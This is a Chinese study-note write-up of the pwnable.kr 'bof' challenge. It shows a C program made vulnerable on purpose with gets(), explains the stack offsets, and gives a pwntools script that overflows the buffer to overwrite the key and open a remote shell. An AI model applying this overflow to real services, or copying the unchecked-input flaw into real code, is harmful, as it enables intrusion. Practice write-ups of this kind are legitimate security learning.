PWN学习笔记(三)
0x01
这次我们开始进行第三个题目:
截图_2019-06-19_20-26-11.png
下面就是bof.c的代码:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
从代码中我们可以看到这里使用了一个危险函数gets()
,这里我们可以控制overflowme
的内容来控制堆栈的内容,覆盖掉key
的原本的内容,让key
的值等于0xcafebabe
。这样我们就可以轻松过关了。是不是很简单呢?
0x02
下面我们就来看一下程序的汇编代码:
截图_2019-06-19_21-40-30.png
通过上图,我们可以看到我们输入的变量保存在ebp-0x2c
的地方,而我们的key
则保存在ebp+0x8
的地方,这里我们就需要了解一下这时的栈结构:
所以我们需要控制我们的输入,覆盖掉ebp+0x8
的地方,这里我使用了pwntools
来帮助我实现这段shellcode
。
from pwn import *
context.log_level = 'debug'
conn = remote('pwnable.kr',9000)
p = 'A'*52
p += p32(0xcafebabe)
conn.sendline(p)
conn.interactive()
我们需要从ebp-0x2c
一直覆盖到ebp+8
的地方,一共是56字节,但是最后4个字节是我们的key
,所以我使用了52个A
加上我们的目标字符串进行拼接。
运行上面的这段python代码,就可以获得flag了。
PS:pwntools
是一个非常好用的pwn工具,希望大家能掌握它的使用。
网友评论